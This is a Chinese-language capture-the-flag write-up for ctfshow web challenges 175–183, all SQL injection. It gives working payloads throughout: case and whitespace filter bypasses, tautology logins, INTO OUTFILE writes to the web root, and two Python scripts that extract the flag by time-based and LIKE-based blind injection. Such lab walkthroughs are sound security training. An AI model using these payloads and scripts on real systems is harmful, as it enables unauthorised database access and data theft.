ctfshow web175-183

目录

Web 175

Web 176

Web 177

Web 178

Web 179

Web 180

Web 181

Web 182

Web 183


Web 175

if(!preg_match('/[\x00-\x7f]/i', json_encode($ret)))

刚开始不知道这句话是什莫意思,还在尝试之前的方法,发现没用。

\xnn 匹配ASCII代码中十六进制代码为nn的字符
[\x00-\x7f] 匹配ASCII值从0-127的字符

所以ASCII值得0-127都被过滤了,select没法用了。

只能盲注了,试一下
1' and sleep(6)--+
发现确实有延迟,所以可以考虑时间盲注。
时间盲注:
通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。简单说就是,当页面出现延时响应,且响应时间与设定的时间函数一致,则表示前半部分的猜测正确,若出现查询直接返回结果,页面响应未出现延迟,则说明未执行到时间函数的部分,and的判断中,前半部分就已经出错了。
利用脚本来获取flag。
import requests

from time import time


url='http://774b555f-930c-4ab9-acbe-7ef82922d659.chall.ctf.show/api/v5.php'


flag=''

for i in range(1,100):

    length=len(flag)

    min=32

    max=128

    while 1:

        j=min+(max-min)//2

        if min==j:

            flag+=chr(j)

            print(flag)

            break


        payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -"%(i,j)


        start_time=time()

        r=requests.get(url=url+payload).text

        end_time=time()

        #print(r)



        if end_time-start_time>0.48:

            max=j

        else :

            min=j
另一种方法:
' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -
将flag写入1.txt文件中,访问即可得到flag。

Web 176

知道有过滤,但不知道过滤的是谁,所以需要尝试一下。
首先传入1’--+,有回显。
传入1’ --+,有回显,空格没被过滤。
传入1' union elect database(),2,3 --+
显示不出数据库,猜测有的字母被过滤,都试了一下,于是发现当传入
1' union Select database(),2,3 --+

说明是select被过滤,但大小写可绕过,所以直接传入
-1' union Select password,2,3 from ctfshow_user --+

ctfshow web175-183_第1张图片

得到flag。

Web 177

尝试了三个

1’--+

1’%23

1’ %23

确定了过滤了空格和--+,可以用%0a和%23代替。

直接万能密码:

1'%0aor%0a1=1%23

或者直接

-1'union%0aselect%0apassword,1,2%0afrom%0actfshow_user%23

都能得到flag。

Web 178

还是和上一题一样。

万能密码:

1'%0aor%0a1=1%23

或者直接传入:

-1'union%0aselect%0apassword,1,2%0afrom%0actfshow_user%23

Web 179

尝试了一下

1'%23

1’%0a%23

发现这次是%0a被过滤了,可以用%0c替代%0a。

万能密码:

1'%0cor%0c1=1%23

或者直接传入

-1'union%0cselect%0cpassword,1,2%0cfrom%0cctfshow_user%23

Web 180

传入1'%23,发现%23被过滤了。

后边没办法注释了,还可以用’1’='1来闭合后边。

'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

还可以用

'or(id=26)and'1'='1

传进去后变成了

where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";

因为and的优先级大于or所以相当于

where (username !='flag' and id = '')  or  (id=26and'1'='1')

or左边为0右边为1,where的条件为1,而且flag刚好在id=26。

Web 181

可以替代空格的全都被过滤,select大小写绕不过去。

还用上一题的方法

'or(id=26)and'1'='1

直接可以得到flag。

Web 182

还是用上一题的方法:

'or(id=26)and'1'='1

Web 183

preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);

select语句用不了了,而且上一题的and也被过滤了。

只能盲注了,利用%在sql中通配多个字符,利用_通配任意一个字符。
成功后会发现发现返回结果  $user_count=1
代表匹配到了一个,利用此模式盲注。
脚本:
import requests

import sys



url = "http://9ae11c4b-7472-42b5-9064-5ebe182da98c.challenge.ctf.show/select-waf.php"

letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"

flag = "ctfshow{"

for i in range(100):

    for j in letter:

        data = {"tableName": "(ctfshow_user)where(pass)like'{}%'".format(flag + j)}

        r = requests.post(url=url, data=data).text

        # print(r)

        if "$user_count = 1;" in r:

            flag += j

            print(flag)

            break

        if j == "}":

            sys.exit()



你可能感兴趣的:(ctfshow,sql)